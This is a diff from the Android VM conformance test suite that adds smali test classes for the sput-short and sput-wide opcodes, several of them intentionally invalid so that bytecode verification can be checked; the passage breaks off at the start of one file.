diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.smali
new file mode 100644
index 0000000..f0bcdea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_22.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_22.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_22;->st_i:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.smali
new file mode 100644
index 0000000..0d87bb2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_23.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_23.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_23;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_23;->st_b:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.smali
new file mode 100644
index 0000000..919fe9a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_24.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_24.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_24;->st_z:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.smali
new file mode 100644
index 0000000..9012fbb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_3.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-short v0, Ldot/junit/opcodes/sput_short/d/T_sput_short_3;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.smali
new file mode 100644
index 0000000..017654e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_4.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-short v3, Ldot/junit/opcodes/sput_short/d/T_sput_short_4;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.smali
new file mode 100644
index 0000000..da7a23d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_7.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_7.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_7;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.smali
new file mode 100644
index 0000000..045a2d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_8.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_8.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-short v1, Ldot/junit/opcodes/sput_short/TestStubs;->TestStubField:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.smali
new file mode 100644
index 0000000..59ea7b7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_short/d/T_sput_short_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_short_9.java"
+.class  public Ldot/junit/opcodes/sput_short/d/T_sput_short_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-short v1, Ldot/junit/opcodes/sput_short/d/T_sput_short_9noclass;->st_i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.smali
new file mode 100644
index 0000000..3ee11b4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_10.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_10.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 1
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_10;->st_i1N:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.smali
new file mode 100644
index 0000000..98bbc60
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_11.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_11.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 1
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/TestStubs;->TestStubFieldFinal:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.smali
new file mode 100644
index 0000000..f104680
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_12.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_12.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 77
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_12;->st_i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.smali
new file mode 100644
index 0000000..5809245
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_14.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_14.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_14;
+.super  Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()J
+.registers 2
+
+       sget-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_p1:J
+       return-wide v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 77
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_p1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.smali
new file mode 100644
index 0000000..001f6e1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_15.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_15.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_15;
+.super  Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 1
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_1;->st_pvt1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.smali
new file mode 100644
index 0000000..f161d5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_17.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_17.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 1
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_17;->st_i1:J
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.smali
new file mode 100644
index 0000000..0afb094
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_2.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_2.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_4;->st_i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.smali
new file mode 100644
index 0000000..8ee02ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_21.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_21.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_21;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 12    
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_21;->st_c:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.smali
new file mode 100644
index 0000000..9401ccc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_22.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_22.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_22;->st_i:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.smali
new file mode 100644
index 0000000..ba939a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_23.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_23.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_23;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_23;->st_b:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.smali
new file mode 100644
index 0000000..e7587ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_24.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_24.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const-wide v0, 1    
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_24;->st_z:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.smali
new file mode 100644
index 0000000..5ca6ca5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_3.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_3.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_3;->st_i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.smali
new file mode 100644
index 0000000..0309a6f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_4.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-wide v3, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_4;->st_i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.smali
new file mode 100644
index 0000000..e6ca604
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_5.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_5;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 0.5
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_5;->st_i1:D
+
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.smali
new file mode 100644
index 0000000..56e0b03
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
